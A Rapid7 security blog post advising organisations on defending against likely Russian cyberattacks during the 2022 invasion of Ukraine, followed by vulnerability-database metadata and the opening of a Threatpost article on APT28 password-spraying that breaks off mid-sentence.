Staying Secure in a Global Cyber Conflict

2022-02-25T01:31:27

Description

![Staying Secure in a Global Cyber Conflict](https://blog.rapid7.com/content/images/2022/02/russia-ukraine-blog2.jpg) Now that [Russia has begun its armed invasion of Ukraine](<https://www.axios.com/putin-delares-war-on-ukraine-5a28dbd5-362f-4e97-91e1-84272f7390fd.html>), we should expect increasing risks of cybersecurity attacks and incidents, either as spillover from cyberattacks targeting Ukraine or direct attacks against actors supporting Ukraine. Any state-sponsored Russian attacks aiming to support the Russian invasion of Ukraine, or to retaliate for US, NATO, or other foreign measures taken in response to the Russian invasion of Ukraine, are most likely to be destructive or disruptive in nature rather than aiming to steal data. This blog discusses the types of attacks organizations may see — including distributed denial of service (DDoS), website defacements, and the use of ransomware or destructive malware — and recommends steps for their mitigation or remediation. As we have [stated](<https://www.rapid7.com/blog/post/2022/02/15/prudent-cybersecurity-preparation-for-the-potential-russia-ukraine-conflict/>) before, we do not believe organizations need to panic. But as per guidance from numerous governments, we do believe it is wise to be extra vigilant at this time. Rapid7 will continue to monitor the cybersecurity risks, both internally and for our Managed Detection and Response (MDR) customers as the situation evolves. We will post updates as relevant and suggest subscription to our blog to see them as they are posted. ## Malware One of the most concerning possibilities is the risk of a destructive malware attack on the US, NATO members, or other foreign countries. This could take the form of a direct attack or spillover from an attack on Ukraine, such as the [2017 NotPetya operation that targeted Ukraine and spread to other parts of the globe](<https://www.rapid7.com/blog/post/2017/06/27/petya-ransomware-explained/>). Cybersecurity researchers have just discovered a new data wiping malware, dubbed HermeticWiper (AKA KillDisk.NCV), that infected hundreds of Ukrainian machines in the last two months. This seems to be a custom-written malware that corrupts the Master Boot Record (MBR), resulting in boot failure. This malware, like NotPetya, is intended to be destructive and will cripple the assets that it infects. As always, the best malware prevention is to avoid infection in the first place — a risk we can minimize by ensuring that assets are up to date and use strong access controls, including multi-factor authentication. Additionally, it is crucial to have an incident response plan in place for the worst-case scenario, as well as a business continuity plan — including failover infrastructure if possible — for business-critical assets. ## DDoS There have already been [reports](<https://www.vice.com/en/article/v7dpbd/ukraines-military-banks-suffering-ddos-attacks>) of DDoS attacks on Ukrainian websites, and Russia has [historically](<https://cyberlaw.ccdcoe.org/wiki/Georgia-Russia_conflict_$2008$>) used DDoS in support of operations against other former Soviet republics, such as Georgia, in the past. Given this context, it is plausible that state-sponsored Russian actors would use DDoS if they choose to retaliate in response to measures taken against Russia for the invasion of Ukraine, such as sanctions or cyber operations from NATO countries. While DDoS does not receive the same level of attention as some other forms of attack, it can still have significant impacts to business operations. DDoS mitigations can include reduction of attack surface area via Content Distribution Networks or load balancers, as well as the use of Access Control Lists and firewalls to drop traffic coming from attacker nodes. ## Phishing campaigns Russian state-sponsored actors are also well known for [engaging in spear-phishing attacks](<https://www.cisa.gov/uscert/ncas/alerts/TA18-074A>), specifically with compromised valid accounts. Defenders should ensure strong spam filtering and attachment scanning is in place. Educating end users of the dangers of phishing and regularly running phishing campaigns will also help mitigate this issue. State-sponsored, APT-style groups are not the only relevant threats. In times of crisis, it is common to see phishing attacks linking to malicious websites masquerading as news, aid groups, or other seemingly relevant content. Opportunistic scammers and other bad actors will attempt to take advantage of our human nature when curiosity, anxiety, and desire to help can make people less suspicious. Remain vigilant and avoid clicking unknown links or opening attachments — basic cyber hygiene that can be forgotten when emotions run high. ## Brute-force attacks [According to a report from the NSA, CISA, FBI, and NCSC](<https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF>), “From mid-2019 through early 2021, Russian General Staff Main Intelligence Directorate (GRU) … conduct[ed] widespread, distributed, and anonymized brute-force access attempts against hundreds of government and private sector targets worldwide.” GRU used the discovered credentials to gain access into networks and further used known vulnerabilities such as CVE-2020-0688 and CVE-2020-17144 to increase access. The best mitigation for these types of attacks is to enable MFA on all systems. Minimize externally facing systems and ensure externally facing systems are fully patched. ## Defacement Ukraine has also been experiencing website defacements, which provide attackers with an opportunity to spread messaging. Website defacement is typically associated with hacktivist activity, but state-sponsored Russian actors could pose as hacktivists in order to disguise Russian state involvement, and spread their strategic communication themes to international audiences by defacing Western websites. Website defacement often occurs as a result of weak passwords for admin accounts, cross-site scripting, injection, file upload, or vulnerable plugins. This can be managed by limiting the level of access accounts have and enforcing strong passwords. Additionally, looking for places where scripts or iframes could be injected or where SQL injection could occur can help identify vulnerabilities to remediate. ## Ransomware Ransomware could also be used to disrupt foreign targets. Criminals based in Russia were [believed](<https://thehill.com/homenews/administration/589850-biden-administration-says-russia-arrested-colonial-pipeline-hacker>) to be behind the 2021 ransomware attack on Colonial Pipeline in the United States. Ransomware can have disruptive effects on targets, and the attackers could simply refrain from decrypting files, even if they receive ransom payments, in order to maximize and extend the disruptive impact on victims. Additionally, opportunistic attackers who are actually looking for ransoms will still be on the prowl, and are likely to take advantage of the chaos. To this end, defenders should: * Evaluate asset and application configurations to ensure resilience * Double-check visibility into the functioning of business-critical assets * Assess incident response processes in the case of an incident ## What else should you be doing? The following activities are mission-critical in times of uncertainty, but they are also best practices in general. * **Continuous monitoring: **Reinforce cybersecurity measures and staff during nights, weekends, and holidays. Threat actors are known to target their victims when there are gaps in “eyes on glass.” * **Incident response plan:** Prepare a dedicated team with a detailed workflow and a contact person that will be available offline in case of a cybersecurity incident. * **Back up data:** Implement data backup procedures of the company networks and systems. Backup procedures should be conducted on a frequent, regular basis for immediate recovery. Also, be sure to store backups offline and check them regularly to ensure they have not been poisoned with malware. * **Reduce opportunities for attackers: **Identify exposures, vulnerabilities, and misconfigurations that can provide opportunities for attackers to gain a foothold in your environment, and apply relevant mitigations or patches. In particular, Russian operators are well known to exploit edge systems. The Cybersecurity and Infrastructure Security Agency (CISA) [recently put out an alert](<https://www.cisa.gov/uscert/ncas/alerts/aa22-011a>) listing 13 known vulnerabilities that Russian state-sponsored threat actors use to initially compromise networks. We recommend this as a starting point for focused patching and mitigation. * **Stay informed:** Follow the latest updates and recommendations provided by Rapid7, as well as governmental security entities in specific press releases/alerts from the [Ukraine CERT](<https://cert.gov.ua/>), [The Security Service of Ukraine (SSU)](<https://ssu.gov.ua/en>), and the [US CISA](<https://www.cisa.gov/uscert>). We expect the situation to be fluid over the coming days and weeks, and security guidance and threats may also evolve as the conflict develops. The measures suggested in this blog will continue to be relevant, and we plan to provide additional information as needed. In the meantime, you can also [check this blog](<https://www.rapid7.com/blog/post/2022/02/25/russia-ukraine-conflict-what-is-rapid7-doing-to-protect-my-organization/>) to see how Rapid7 can help you prepare for and respond to cyber attacks. We also recommend organizations check their government’s cybersecurity website for guidance.

{"id": "RAPID7BLOG:CBD7A5DA1DAAE9DCFD01F104F4B1B5FB", "vendorId": null, "type": "rapid7blog", "bulletinFamily": "info", "title": "Staying Secure in a Global Cyber Conflict", "description": "![Staying Secure in a Global Cyber Conflict](https://blog.rapid7.com/content/images/2022/02/russia-ukraine-blog2.jpg)\n\nNow that [Russia has begun its armed invasion of Ukraine](<https://www.axios.com/putin-delares-war-on-ukraine-5a28dbd5-362f-4e97-91e1-84272f7390fd.html>), we should expect increasing risks of cybersecurity attacks and incidents, either as spillover from cyberattacks targeting Ukraine or direct attacks against actors supporting Ukraine.\n\nAny state-sponsored Russian attacks aiming to support the Russian invasion of Ukraine, or to retaliate for US, NATO, or other foreign measures taken in response to the Russian invasion of Ukraine, are most likely to be destructive or disruptive in nature rather than aiming to steal data. This blog discusses the types of attacks organizations may see \u2014 including distributed denial of service (DDoS), website defacements, and the use of ransomware or destructive malware \u2014 and recommends steps for their mitigation or remediation. \n\nAs we have [stated](<https://www.rapid7.com/blog/post/2022/02/15/prudent-cybersecurity-preparation-for-the-potential-russia-ukraine-conflict/>) before, we do not believe organizations need to panic. But as per guidance from numerous governments, we do believe it is wise to be extra vigilant at this time. Rapid7 will continue to monitor the cybersecurity risks, both internally and for our Managed Detection and Response (MDR) customers as the situation evolves. We will post updates as relevant and suggest subscription to our blog to see them as they are posted. \n\n\n## Malware\n\nOne of the most concerning possibilities is the risk of a destructive malware attack on the US, NATO members, or other foreign countries. This could take the form of a direct attack or spillover from an attack on Ukraine, such as the [2017 NotPetya operation that targeted Ukraine and spread to other parts of the globe](<https://www.rapid7.com/blog/post/2017/06/27/petya-ransomware-explained/>). Cybersecurity researchers have just discovered a new data wiping malware, dubbed HermeticWiper (AKA KillDisk.NCV), that infected hundreds of Ukrainian machines in the last two months. This seems to be a custom-written malware that corrupts the Master Boot Record (MBR), resulting in boot failure. This malware, like NotPetya, is intended to be destructive and will cripple the assets that it infects. \n\nAs always, the best malware prevention is to avoid infection in the first place \u2014 a risk we can minimize by ensuring that assets are up to date and use strong access controls, including multi-factor authentication. Additionally, it is crucial to have an incident response plan in place for the worst-case scenario, as well as a business continuity plan \u2014 including failover infrastructure if possible \u2014 for business-critical assets. \n\n\n## DDoS\n\nThere have already been [reports](<https://www.vice.com/en/article/v7dpbd/ukraines-military-banks-suffering-ddos-attacks>) of DDoS attacks on Ukrainian websites, and Russia has [historically](<https://cyberlaw.ccdcoe.org/wiki/Georgia-Russia_conflict_\$2008\$>) used DDoS in support of operations against other former Soviet republics, such as Georgia, in the past. Given this context, it is plausible that state-sponsored Russian actors would use DDoS if they choose to retaliate in response to measures taken against Russia for the invasion of Ukraine, such as sanctions or cyber operations from NATO countries. \n\nWhile DDoS does not receive the same level of attention as some other forms of attack, it can still have significant impacts to business operations. DDoS mitigations can include reduction of attack surface area via Content Distribution Networks or load balancers, as well as the use of Access Control Lists and firewalls to drop traffic coming from attacker nodes. \n\n\n## Phishing campaigns\n\nRussian state-sponsored actors are also well known for [engaging in spear-phishing attacks](<https://www.cisa.gov/uscert/ncas/alerts/TA18-074A>), specifically with compromised valid accounts. Defenders should ensure strong spam filtering and attachment scanning is in place. Educating end users of the dangers of phishing and regularly running phishing campaigns will also help mitigate this issue.\n\nState-sponsored, APT-style groups are not the only relevant threats. In times of crisis, it is common to see phishing attacks linking to malicious websites masquerading as news, aid groups, or other seemingly relevant content. Opportunistic scammers and other bad actors will attempt to take advantage of our human nature when curiosity, anxiety, and desire to help can make people less suspicious. Remain vigilant and avoid clicking unknown links or opening attachments \u2014 basic cyber hygiene that can be forgotten when emotions run high. \n\n\n## Brute-force attacks\n\n[According to a report from the NSA, CISA, FBI, and NCSC](<https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF>), \u201cFrom mid-2019 through early 2021, Russian General Staff Main Intelligence Directorate (GRU) \u2026 conduct[ed] widespread, distributed, and anonymized brute-force access attempts against hundreds of government and private sector targets worldwide.\u201d GRU used the discovered credentials to gain access into networks and further used known vulnerabilities such as CVE-2020-0688 and CVE-2020-17144 to increase access.\n\nThe best mitigation for these types of attacks is to enable MFA on all systems. Minimize externally facing systems and ensure externally facing systems are fully patched. \n\n\n## Defacement\n\nUkraine has also been experiencing website defacements, which provide attackers with an opportunity to spread messaging. Website defacement is typically associated with hacktivist activity, but state-sponsored Russian actors could pose as hacktivists in order to disguise Russian state involvement, and spread their strategic communication themes to international audiences by defacing Western websites. \n\nWebsite defacement often occurs as a result of weak passwords for admin accounts, cross-site scripting, injection, file upload, or vulnerable plugins. This can be managed by limiting the level of access accounts have and enforcing strong passwords. Additionally, looking for places where scripts or iframes could be injected or where SQL injection could occur can help identify vulnerabilities to remediate. \n\n\n## Ransomware\n\nRansomware could also be used to disrupt foreign targets. Criminals based in Russia were [believed](<https://thehill.com/homenews/administration/589850-biden-administration-says-russia-arrested-colonial-pipeline-hacker>) to be behind the 2021 ransomware attack on Colonial Pipeline in the United States. Ransomware can have disruptive effects on targets, and the attackers could simply refrain from decrypting files, even if they receive ransom payments, in order to maximize and extend the disruptive impact on victims. Additionally, opportunistic attackers who are actually looking for ransoms will still be on the prowl, and are likely to take advantage of the chaos. \n\nTo this end, defenders should:\n\n * Evaluate asset and application configurations to ensure resilience\n * Double-check visibility into the functioning of business-critical assets\n * Assess incident response processes in the case of an incident \n\n\n## What else should you be doing?\n\nThe following activities are mission-critical in times of uncertainty, but they are also best practices in general.\n\n * **Continuous monitoring: **Reinforce cybersecurity measures and staff during nights, weekends, and holidays. Threat actors are known to target their victims when there are gaps in \u201ceyes on glass.\u201d\n * **Incident response plan:** Prepare a dedicated team with a detailed workflow and a contact person that will be available offline in case of a cybersecurity incident.\n * **Back up data:** Implement data backup procedures of the company networks and systems. Backup procedures should be conducted on a frequent, regular basis for immediate recovery. Also, be sure to store backups offline and check them regularly to ensure they have not been poisoned with malware.\n * **Reduce opportunities for attackers: **Identify exposures, vulnerabilities, and misconfigurations that can provide opportunities for attackers to gain a foothold in your environment, and apply relevant mitigations or patches. In particular, Russian operators are well known to exploit edge systems. The Cybersecurity and Infrastructure Security Agency (CISA) [recently put out an alert](<https://www.cisa.gov/uscert/ncas/alerts/aa22-011a>) listing 13 known vulnerabilities that Russian state-sponsored threat actors use to initially compromise networks. We recommend this as a starting point for focused patching and mitigation.\n * **Stay informed:** Follow the latest updates and recommendations provided by Rapid7, as well as governmental security entities in specific press releases/alerts from the [Ukraine CERT](<https://cert.gov.ua/>), [The Security Service of Ukraine (SSU)](<https://ssu.gov.ua/en>), and the [US CISA](<https://www.cisa.gov/uscert>).\n\nWe expect the situation to be fluid over the coming days and weeks, and security guidance and threats may also evolve as the conflict develops. The measures suggested in this blog will continue to be relevant, and we plan to provide additional information as needed. \n\nIn the meantime, you can also [check this blog](<https://www.rapid7.com/blog/post/2022/02/25/russia-ukraine-conflict-what-is-rapid7-doing-to-protect-my-organization/>) to see how Rapid7 can help you prepare for and respond to cyber attacks. We also recommend organizations check their government\u2019s cybersecurity website for guidance.", "published": "2022-02-25T01:31:27", "modified": "2022-02-25T01:31:27", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}, "cvss2": {"cvssV2": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "baseScore": 9.0}, "severity": "HIGH", "exploitabilityScore": 8.0, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}, "cvss3": {"cvssV3": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH", "baseScore": 8.8, "baseSeverity": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}, "href": "https://blog.rapid7.com/2022/02/25/russia-ukraine-staying-secure-in-a-global-cyber-conflict/", "reporter": "Rapid7", "references": [], "cvelist": ["CVE-2020-0688", "CVE-2020-17144"], "immutableFields": [], "lastseen": "2022-02-25T03:28:00", "viewCount": 104, "enchantments": {"backreferences": {"references": [{"type": "attackerkb", "idList": ["AKB:67DD67D3-33BC-455C-98A3-7DD0E1D4613D", "AKB:ED05D93E-5B20-4B44-BAC8-C4CB5B46254A"]}, {"type": "avleonov", "idList": ["AVLEONOV:28E47C69DA4A069031694EB4C2C931BA"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2020-0104", "CPAI-2020-1252"]}, {"type": "githubexploit", "idList": ["39732E15-7AF0-5FC2-851B-B63466C0F2F2", "796841FC-B75D-5F42-B0E7-7FF15A74E5C1", "8C937DCD-4090-5A44-9361-4D9ECF545843", "A1463971-12CC-5B11-99E8-018B541F4F71", "A7CA20BB-BCF9-52C0-A708-01F9ADECB1AC", "AAC2853C-A655-5E80-9262-A654102B874A", "AC621762-B940-53F9-B9DB-34B015F55B87", "AC9BE6BA-8352-57D6-80E3-8BB62A0D31C2", "BE2B1B45-11AE-56F2-A5B4-2497BAE3B016", "F1CA855B-967C-5A5E-9256-FDDE87702713"]}, {"type": "hivepro", "idList": ["HIVEPRO:FD730BCAD086DD8C995242D13B38EBC8"]}, {"type": "kaspersky", "idList": ["KLA12022"]}, {"type": "metasploit", "idList": ["MSF:ILITIES/MSFT-CVE-2020-17144/"]}, {"type": "mscve", "idList": ["MS:CVE-2021-26855", "MS:CVE-2021-26857", "MS:CVE-2021-26858", "MS:CVE-2021-27065"]}, {"type": "mskb", "idList": ["KB4536989"]}, {"type": "nessus", "idList": ["701277.PRM"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:0082A77BD8EFFF48B406D107FEFD0DD3"]}, {"type": "securelist", "idList": ["SECURELIST:67C82A057DBE22C60DC2677D52D52ECD"]}, {"type": "thn", "idList": ["THN:80D2DBC4130D9FF314BDC4C19EB5CD4E", "THN:8D0E2C792A85A3FB8EC6A823D487FAE6", "THN:B95DC27A89565323F0F8E6350D24D801"]}, {"type": "threatpost", "idList": ["THREATPOST:4B2E19CAF27A3EFBCB2F777C6E528317", "THREATPOST:B25070E6CF075EEA6B20C4D8D25ADBE8"]}]}, "score": {"value": 0.6, "vector": "NONE"}, "dependencies": {"references": [{"type": "0daydb", "idList": ["0DAYDB:137B89027DF0ADFC87056CE176A77441"]}, {"type": "attackerkb", "idList": ["AKB:3B7AE30E-7135-4027-A5DA-A88A045903F6", "AKB:67DD67D3-33BC-455C-98A3-7DD0E1D4613D", "AKB:90047E82-FDD8-47DB-9552-50D104A34230", "AKB:B8A2FA01-8796-4335-8BF4-45147E14AFC9", "AKB:E6BD4207-BAC0-40E1-A4C8-92B6D3D58D4B", "AKB:ED05D93E-5B20-4B44-BAC8-C4CB5B46254A"]}, {"type": "avleonov", "idList": ["AVLEONOV:28E47C69DA4A069031694EB4C2C931BA", "AVLEONOV:4FCA3B316DF1BAA7BC038015245D9813", "AVLEONOV:56C5888A0A7E36482CFC39A438BADAB3", "AVLEONOV:6A714F9BC2BBE696D3586B2629169491"]}, {"type": "canvas", "idList": ["OWA_RCE"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2020-0104", "CPAI-2020-1252"]}, {"type": "cisa", "idList": ["CISA:18E5825084F7681AD375ACB5B1270280"]}, {"type": "cve", "idList": ["CVE-2020-0688", "CVE-2020-17117", "CVE-2020-17132", "CVE-2020-17141", "CVE-2020-17142", "CVE-2020-17144"]}, {"type": "exploitdb", "idList": ["EDB-ID:48153", "EDB-ID:48168"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:71F27F0B85E2B8F7A6B9272A3136DA05"]}, {"type": "githubexploit", "idList": ["39732E15-7AF0-5FC2-851B-B63466C0F2F2", "796841FC-B75D-5F42-B0E7-7FF15A74E5C1", "8C937DCD-4090-5A44-9361-4D9ECF545843", "A1463971-12CC-5B11-99E8-018B541F4F71", "A7CA20BB-BCF9-52C0-A708-01F9ADECB1AC", "AAC2853C-A655-5E80-9262-A654102B874A", "AC621762-B940-53F9-B9DB-34B015F55B87", "AC9BE6BA-8352-57D6-80E3-8BB62A0D31C2", "BE2B1B45-11AE-56F2-A5B4-2497BAE3B016", "F1CA855B-967C-5A5E-9256-FDDE87702713"]}, {"type": "googleprojectzero", "idList": ["GOOGLEPROJECTZERO:CA925EE6A931620550EF819815B14156"]}, {"type": "hivepro", "idList": ["HIVEPRO:FD730BCAD086DD8C995242D13B38EBC8"]}, {"type": "kaspersky", "idList": ["KLA11664", "KLA12022"]}, {"type": "krebs", "idList": ["KREBS:95DEE0244F6DE332977BB606555E5A3C", "KREBS:9D9C58DB5C5495B10D2EBDB92549B0F2", "KREBS:DF8493DA16F49CE6247436830678BA8D"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:5899EF0CF34937AFA2DB4AB02D282DF6"]}, {"type": "metasploit", "idList": ["MSF:EXPLOIT-WINDOWS-HTTP-EXCHANGE_ECP_VIEWSTATE-", "MSF:EXPLOIT-WINDOWS-LOCAL-CVE_2020_0787_BITS_ARBITRARY_FILE_MOVE-"]}, {"type": "mscve", "idList": ["MS:CVE-2020-0688", "MS:CVE-2020-17117", "MS:CVE-2020-17132", "MS:CVE-2020-17141", "MS:CVE-2020-17142", "MS:CVE-2020-17144", "MS:CVE-2021-26855", "MS:CVE-2021-26857", "MS:CVE-2021-26858", "MS:CVE-2021-27065"]}, {"type": "mskb", "idList": ["KB4536987", "KB4536988", "KB4536989", "KB4593467"]}, {"type": "mssecure", "idList": ["MSSECURE:748E6D0B920B699D6D088D0AD4422C46", "MSSECURE:E3C8B97294453D962741782EC959E79C"]}, {"type": "nessus", "idList": ["701277.PRM", "SMB_NT_MS20_DEC_EXCHANGE_2010.NASL", "SMB_NT_MS20_FEB_EXCHANGE.NASL"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:156592", "PACKETSTORM:156620", "PACKETSTORM:158056"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:0082A77BD8EFFF48B406D107FEFD0DD3", "QUALYSBLOG:01C65083E501A6BAFB08FCDA1D561012", "QUALYSBLOG:14FD05969C722B5BF3DBBF48ED6DA9C0", "QUALYSBLOG:282A52EA9B1F4C4F3F084197709217B0", "QUALYSBLOG:9D071EBE42634FFBB58CB68A83252B41", "QUALYSBLOG:CAF5B766E6B0E6C1A5ADF56D442E7BB2", "QUALYSBLOG:D6BB8795D96ECAD5C95596F19210BB13", "QUALYSBLOG:DE1FEC2B9B661D42DAA0BA398DBFD24E"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:0C3EDBDC537092A20C850F762D5A5856", "RAPID7BLOG:99D9180FBF3F900ADB0CDC5EF79EC080", "RAPID7BLOG:EAEC3BF3C403DB1C2765FD14F0E03A85"]}, {"type": "securelist", "idList": ["SECURELIST:67C82A057DBE22C60DC2677D52D52ECD", "SECURELIST:91CACDF02C22F17E70A0DC58D036F9DE", "SECURELIST:D0FFA6E46D43B7A592C34676F2EF3EDB", "SECURELIST:F05591B26EFD622E6C72E180A7A47154"]}, {"type": "talosblog", "idList": ["TALOSBLOG:EA0E0FACD93EAC05E55A6C64CC82F3F6"]}, {"type": "taosecurity", "idList": ["TAOSECURITY:CF99A8E68CF7727296D8451EE445844C"]}, {"type": "thn", "idList": ["THN:0E6CD47141AAF54903BD6C1F9BD96F44", "THN:3266EB2F73FA4A955845C8FEBA4E73C5", "THN:3E9680853FA3A677106A8ED8B7AACBE6", "THN:80D2DBC4130D9FF314BDC4C19EB5CD4E", "THN:8D0E2C792A85A3FB8EC6A823D487FAE6", "THN:9B536B531E6948881A29BEC793495D1E", "THN:B95DC27A89565323F0F8E6350D24D801"]}, {"type": "threatpost", "idList": ["THREATPOST:06C5D9E6950186757AA989F2557336B3", "THREATPOST:142DAF150C2BF9EB70ECE95F46939532", "THREATPOST:1925DCFAF239C5B25D21852DB978E8E9", "THREATPOST:21FB6EBE566C5183C8FD9BDA28A56418", "THREATPOST:22663CEB225A1F7F9DD4EBD8B84956C1", "THREATPOST:24AD38597408C4E7757770D45345AEBA", "THREATPOST:2BDC072802830F0CC831DE4C4F1FA580", "THREATPOST:33026719684C7CD1B70B04B1CFFE2AEB", "THREATPOST:333795A46E195AC657D3C50CFAFE7B55", "THREATPOST:3E89058B621DF5B431A387D18E4F398C", "THREATPOST:420EE567E806D93092741D7BB375AC57", "THREATPOST:4B2E19CAF27A3EFBCB2F777C6E528317", "THREATPOST:4C22D22EF8F65F5DA108A15C99CB9F55", "THREATPOST:4D0DF8055D2BC682608C1A746606A6E4", "THREATPOST:4DD624E32718A8990263A37199EEBD02", "THREATPOST:4F1C35A7D4BE774DF9C88794C793181D", "THREATPOST:558A7B1DE564A8E368D33E86E291AB77", "THREATPOST:677D5A0A56D06021C8EF30D0361579C6", "THREATPOST:6EA5AB7FCD767A01EA56D7EEF6DA0B0A", "THREATPOST:7BCCC5B4AA7FB7724466FFAB585EC55D", "THREATPOST:891CC19008EEE7B8F1523A2BD4A37993", "THREATPOST:985BD7D2744A9AA9EC43C5DDCD561812", "THREATPOST:99AD02BEC4B8423B8E050E0A4E9C4DEB", "THREATPOST:A298611BE0D737083D0CFFE084BEC006", "THREATPOST:AD8A075328874910E8DCBC149A6CA284", "THREATPOST:B047BB0FECBD43E30365375959B09B04", "THREATPOST:B25070E6CF075EEA6B20C4D8D25ADBE8", "THREATPOST:BD8DD789987BFB9BE93AA8FD73E98B40", "THREATPOST:CF4E98EC11A9E5961C991FE8C769544E", "THREATPOST:DBA639CBD82839FDE8E9F4AE1031AAF7", "THREATPOST:DDB6E2767CFC8FF972505D4C12E6AB6B", "THREATPOST:DF7C78725F19B2637603E423E56656D4", "THREATPOST:EA093948BFD7033F5C9DB5B3199BEED4", "THREATPOST:EE9C0062A3E6400BAF159BCA26EABB34", "THREATPOST:F54F8338674294DE3D323ED03140CB71", "THREATPOST:F8F0749C57FDD3CABE842BDFEAD33452", "THREATPOST:FE41B3825C6A9EE91B00CDADD2AF9147"]}, {"type": "trendmicroblog", "idList": ["TRENDMICROBLOG:9BC812C1F699A6136F37C0ACE6451F20"]}, {"type": "zdi", "idList": ["ZDI-20-258"]}, {"type": "zdt", "idList": ["1337DAY-ID-34037", "1337DAY-ID-34051", "1337DAY-ID-34553"]}]}, "epss": [{"cve": "CVE-2020-0688", "epss": "0.974270000", "percentile": "0.998750000", "modified": "2023-03-17"}, {"cve": "CVE-2020-17144", "epss": "0.280130000", "percentile": "0.961000000", "modified": "2023-03-17"}], "vulnersScore": 0.6}, "_state": {"dependencies": 1659988328, "score": 1659990670, "epss": 1679179052}, "_internal": {"score_hash": "1388152a39e9c64f5eca08485418e4c7"}}

{"threatpost": [{"lastseen": "2021-07-07T11:01:50", "description": "U.S. and U.K. authorities are warning that the APT28 advanced-threat actor (APT) \u2013 a.k.a. Fancy Bear or Strontium, among other names \u2013 has been using a [Kubernetes](<https://threatpost.com/windows-containers-malware-targets-kubernetes/166692/>) cluster in a widespread campaign of brute-force password-spraying attacks against hundreds of government and private sector targets worldwide.\n\nThe joint alert ([PDF](<https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF>)) \u2013 posted on Thursday by the National Security Agency (NSA), the Cybersecurity and Infrastructure Security Agency (CISA), the FBI, and the U.K.\u2019s National Cyber Security Centre (NCSC) \u2013 attributes the campaign to the APT group, which has [long been suspected](<https://threatpost.com/microsoft-says-russian-apt-group-behind-zero-day-attacks/121722/>) of having ties to the General Staff Main Intelligence Directorate (GRU) arm of Russia\u2019s military intelligence.\n\nThe attacks have been launched since at least mid-2019 through early 2021 and are \u201calmost certainly still ongoing,\u201d according to the advisory.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nThe threat actor has targeted \u201ca significant amount\u201d of its activity at organizations using [Microsoft Office 365 cloud services](<https://threatpost.com/microsoft-office-365-attacks-google-firebase/163666/>), authorities warned.\n\nThe attackers are after the passwords of people who work at sensitive jobs in hundreds of organizations worldwide, including government and military agencies in the U.S. and Europe, defense contractors, think tanks, law firms, media outlets, universities and more.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2021/07/02101634/APT28-targets-1024x800.jpg)](<https://media.threatpost.com/wp-content/uploads/sites/103/2021/07/02101634/APT28-targets-e1625235408497.jpg>)\n\nAPT28 targets being bombarded by brute-force attacks. Source: CISA advisory.\n\nOnce the threat actors get valid credentials, they\u2019re using them for initial access, persistence, privilege escalation and defense evasion, among other things. The actors are using the passwords in conjunction with exploits of publicly known vulnerabilities, such as ([CVE-2020-0688](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688>)) \u2013 a vulnerability in the [control panel of Microsoft\u2019s Exchange Server](<https://threatpost.com/microsoft-exchange-exploited-flaw/159669/>) \u2013 and [ CVE 2020-17144](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-17144>), also found in Exchange Server. Both these and other vulnerabilities can be used for remote code execution (RCE) and further access to target networks.\n\nAfter APT28 gains remote access, it uses a slew of well-known tactics, techniques and procedures (TTPs) \u2013 including HTTP(S), IMAP(S), POP3, and [NTLM](<https://threatpost.com/microsoft-addresses-ntlm-bugs-that-facilitate-credential-relay-attacks/126752/>) (a suite of Microsoft security protocols used for authentication \u2013 in addition to Kubernetes-powered password-spraying in order to gain lateral movement, to evade defenses and to sniff out more information from the target networks.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2021/07/02103812/TTPs--1024x441.jpg)](<https://media.threatpost.com/wp-content/uploads/sites/103/2021/07/02103812/TTPs--e1625236705468.jpg>)\n\nExample of several TTPs used together as part of this type of brute-force campaign. Source: CISA advisory.\n\nGiven how vastly different the target networks\u2019 structures are, the actors are using an equally diverse mix of TTPs. The alert included 21 samples of known TTPs. One example is the TTPs used to exploit public-facing apps: APT28 has been tracked using the two previously mentioned bugs to gain privileged RCE on vulnerable Microsoft Exchange servers, which in some case happened after valid credentials were identified via password spray, given that exploitation of the vulnerabilities requires authentication as a valid user.\n\n## How Kubernetes Fits In\n\nAuthorities said that to obfuscate its true origin and to provide \u201ca degree of anonymity,\u201d the Kubernetes cluster used in these attacks normally routes brute-force authentication attempts through Tor and commercial [VPN services](<https://threatpost.com/darkside-pwned-colonial-with-old-vpn-password/166743/>), including CactusVPN, IPVanish, NordVPN, ProtonVPN, Surfshark and WorldVPN. If they\u2019re not using [Tor](<https://threatpost.com/unencrypted-mobile-traffic-tor-network-leaks-pii/149200/>) or a VPN, the actors are sometimes using nodes in the Kubernetes cluster.\n\nGiven the \u201cscalable nature of the password 